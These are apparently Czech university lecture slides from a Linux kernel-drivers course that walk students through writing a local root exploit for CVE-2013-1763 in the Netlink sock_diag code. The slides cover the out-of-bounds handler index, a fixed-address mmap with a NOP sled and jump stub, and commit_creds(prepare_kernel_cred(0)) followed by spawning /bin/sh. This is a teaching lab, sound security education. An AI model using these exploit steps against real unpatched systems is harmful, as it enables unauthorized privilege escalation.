

PB173 – Ovladače jádra – Linux

XIII. Exploit ve 2 hodinách

Jiri Slaby

Fakulta informatiky
Masarykova univerzita

13. 12. 2016

1 Výběr chyby a její popis

2 Psaní exploitu

- Vykonání `__sock_diag_rcv_msg`
- Dosažení chyby ve funkci
- Spuštění rootovského shellu

Sekce 1

Výběr chyby a její popis

Kam se dívat

- *Exploit database*
- <http://www.exploit-db.com/>
- Přes 30'000 exploitů
- Nejen pro Linuxové jádro

Vybrali jsme chybu v Netlink kódu

- Zranitelnosti jsou číslované
 - CVE (<http://cve.mitre.org/>)
 - Tato je CVE-2013-1763
- Chyba ve funkci `__sock_diag_rcv_msg`
 - Obsluha zpráv
 - Netlink rodina: `AF_NETLINK`
 - Diagnostická vrstva: `NETLINK_SOCK_DIAG`
 - Typ zprávy: `struct sock_diag_req` (viz dále)
 - Zabalená v Netlink hlavičce: `struct nlmsg_hdr`

`__sock_diag_rcv_msg` obsluhuje zprávy od uživatele.
A nesplňuje „POZOR“!

__sock_diag_rcv_msg

```
static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */
```

```
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsg_hdr *nlh) {
```

```
    int err;
```

```
    struct sock_diag_req *req = nlmsg_data(nlh);
```

```
    const struct sock_diag_handler *hndl;
```

```
    if (nlmsg_len(nlh) < sizeof(*req))
```

```
        return -EINVAL;
```

```
    if (req->sdiag_family >= AF_MAX) /* commit 6e601a5356 */
```

```
        return -EINVAL;
```

```
    mutex_lock(&sock_diag_table_mutex);
```

```
    hndl = sock_diag_handlers[req->sdiag_family]; /* use of user's req->sdiag_family (__u8) */
```

```
    if (hndl == NULL)
```

```
        err = -ENOENT;
```

```
    else
```

```
        err = hndl->dump(skb, nlh); /* dereference */
```

```
    mutex_unlock(&sock_diag_table_mutex);
```

```
    return err;
```

```
}
```

Sekce 2

Psaní exploitu

Co jádro (nechtěně) dělá

- Čte/zapíše z/na uživatelem daný ukazatel
- Skáče na uživatelem danou adresu
- ...

K čemu jádro přimět

- Pád
 - DoS
- Spustit uživatelův kód
 - *Eskalace oprávnění*

Instalace jádra s chybou

- 1 Stáhněte si jádro
 - `http://decibel.fi.muni.cz/~xslaby/ a kernel-default-*`
- 2 Nainstalujte
 - `rpm -ivh --oldpackage kernel-default-*`
- 3 Restartujte
- 4 Nezapomeňte vybrat správnou verzi v GRUBu

Tři základní kroky

- 1 Vykonat `__sock_diag_rcv_msg`
- 2 Dostat se k chybě ve funkci
 - Zneužít ji!
- 3 Spustit rootovský shell

Subsection 1

Vykonání `__sock_diag_rcv_msg`

Vykonání funkce

Vytvoření zprávy

Zpráva SOCK_DIAG vrstvy

```
struct {  
    struct nlmsg_hdr nlh; /* Netlink header */  
    struct sock_diag_req r; /* Message from user */  
} req;
```

struct nlmsg_hdr

```
.nlmsg_len = sizeof(req);  
.nlmsg_type = SOCK_DIAG_BY_FAMILY;  
.nlmsg_flags = NLM_F_ROOT | NLM_F_MATCH | NLM_F_REQUEST;  
.nlmsg_seq = 123456;
```

Dva podkroky

- 1 Vytvoření socketu: `socket`
 - Rodina: `AF_NETLINK`
 - Protokol: `NETLINK_SOCK_DIAG`
- 2 Odeslání zprávy: `send`

Vykonání funkce

- 1 Vytvořte soket
- 2 Vytvořte a pošlete zprávu
- 3 Můžete pomocí `ftrace` ověřit, že se funkce vykonala
 - `/sys/kernel/debug/tracing/README`

Subsection 2

Dosažení chyby ve funkci

Opakování kódu jádra

```
static const struct sock_diag_handler *sock_diag_handlers[41];  
...  
    struct sock_diag_req *req = nlmsg_data(nlh);  
...  
    hndl = sock_diag_handlers[req->sdiag_family];  
...  
    err = hndl->dump(skb, nlh);
```

struct sock_diag_req

```
__u8  sdiag_family;  
__u8  sdiag_protocol;
```


Dosažení chyby ve funkci

- 1 Nastavte správný prvek ve `struct sock_diag_req`
 - V jádře je: `hdl = sock_diag_handlers[req->sdiag_family]`
 - Vy máte: `req.r.sdiag_family`
 - Nastavte na správnou hodnotu
 - Uvažte, že `AF_MAX` je 41
- 2 Opět pošlete takto upravenou zprávu
- 3 Pozorujte pád
 - Pokud pád nevidíte, zvolte jinou hodnotu
 - Nebo použijte cyklus
- 4 Restartujte systém
 - Do správného jádra

Opakování kódu jádra

```
static const struct sock_diag_handler *sock_diag_handlers[41];  
...  
    hndl = sock_diag_handlers[req->sdiag_family];  
...  
    err = hndl->dump(skb, nlh);
```

Při dobře zvoleném indexu, lze skočit na *předvídatelnou adresu*

- Index (`req->sdiag_family`) je `__u8`
- Maximální hodnota: 255
- Můžeme se dostat na paměť v rozsahu od `sock_diag_handlers` do `sock_diag_handlers + 255 * sizeof(ukazatel)`

Výňatek System.map

```
ffffff82182f80 b sock_diag_handlers
...
ffffff82183330 b act_base
ffffff82183340 B nl_table /* interesting */
ffffff82183348 b __key.43931
...
ffffff82183380 b family_ht
```

V rozsahu je např. ukazatel `nl_table` na `struct netlink_table`

- `hdl = sock_diag_handlers[$\frac{0x82183340 - 0x82182f80}{8} = \frac{960}{8} = 120$] ← nl_table`
- `hdl->dump` je na 8. bajtu ve `struct sock_diag_handler`
- V `nl_table` je na té pozici `hash.rehash_time`
 - `jiffies` ⇒ předvídatelná hodnota

BUG: unable to handle kernel paging request at **0000000100012a5c**
IP: [<0000000100012a5c>] 0x100012a5c

...

Call Trace:

```
[< ffffffff81439e66 >] ? sock_diag_rcv_msg+0x76/0x130
[< ffffffff81439df0 >] ? sock_diag_unregister+0x50/0x50
[< ffffffff81519145 >] ? ftrace_graph_caller+0x85/0x85
[< ffffffff81451659 >] netlink_rcv_skb+0xa9/0xc0
[< ffffffff81439d24 >] ? sock_diag_rcv+0x24/0x40
[< ffffffff81450c7a >] ? netlink_unicast+0xda/0x1b0
[< ffffffff8145107c >] ? netlink_sendmsg+0x32c/0x750
[< ffffffff8140eb6b >] ? sock_sendmsg+0x8b/0xc0
[< ffffffff81186d3d >] ? __kmalloc+0x1cd/0x4a0
[< ffffffff81412103 >] ? sk_prot_alloc+0xb3/0x180
[< ffffffff81186047 >] ? kmem_cache_alloc_trace+0x207/0x450
[< ffffffff8140ecd1 >] ? SYSC_sendto+0xf1/0x180
[< ffffffff811a06ae >] ? alloc_file +0x1e/0xf0
[< ffffffff8140bcaf >] ? sock_alloc_file +0x9f/0x130
[< ffffffff811ba6aa >] ? __fd_install +0x1a/0x40
[< ffffffff815192a9 >] ? system_call_fastpath+0x16/0x1b
```

Oops byl na 0x0000000100012a5c

- Namapovat a naplnit smysluplným kódem!
- `mmap` na předem danou adresu
 - První parametr: 0x0000000100000000
 - Délka mapování: dostatečná (např. 0x2000000)
 - Ochrana: `PROT_READ` | `PROT_WRITE` | `PROT_EXEC`
 - Vlajčky: `MAP_PRIVATE` | `MAP_FIXED` | `MAP_ANONYMOUS`
- Vyplnit instrukcí `ret` (0xc3 na x86)

Úkol: namapujte a vyplňte

Subsection 3

Spuštění rootovského shellu

V jádře je to jednoduché

- Pod aktuálním procesem, v *prostoru jádra*, stačí:
`commit_creds(prepare_kernel_cred(0));`

Ale jak linkovat funkce jádra v uživatelském prostoru?

- Najít adresu
 - Např. ze `System.map`
 - Uvažme adresu A funkce `x()`
- Volat `x()` nepřímo
 - `void (*y)() = A;`
`y();`

Eskalace oprávnění

Kód

Kód k eskalaci oprávnění

```
int (*commit_creds)(unsigned long) = X;  
unsigned long (*prepare_kernel_cred)(  
    unsigned long) = Y;
```

```
int kernel_code() {  
    commit_creds(prepare_kernel_cred(0));  
    return -1;  
}
```

```
void __jump(void);  
void __jump_end(void);
```

```
void jump_payload_not_used() {  
    asm volatile ("__jump:\n"  
                 "movq $kernel_code, %rax\n"  
                 "jmpq *%rax\n"  
                 "__jump_end:\n");  
}
```

Exploit's .text

```
int kernel_code() {  
    commit_creds(prepare_kernel_cred(0));  
    return -1;  
}
```

0x100000000

```
<many nops>  
nop  
nop  
movq $kernel_code, %rax  
jmpq *%rax
```


Spuštění rootovského shellu

Zavolání naší funkce

```
const unsigned long jump_sz = __jump_end - __jump;  
memset(mmap_start, 0x90, mmap_size); /* 0x90 is 'nop' */  
memcpy(mmap_start + mmap_size - jump_sz, __jump, jump_sz);
```

Spuštění shellu

```
if (!getuid()) /* am I really root? */  
    system("/bin/sh");
```

Spuštění rootovského shellu

- 1 Přidejte si kód pro zavolání jádrem
 - C i assembler, který ho bude volat
- 2 Spusťte si shell
 - Po kontrole UID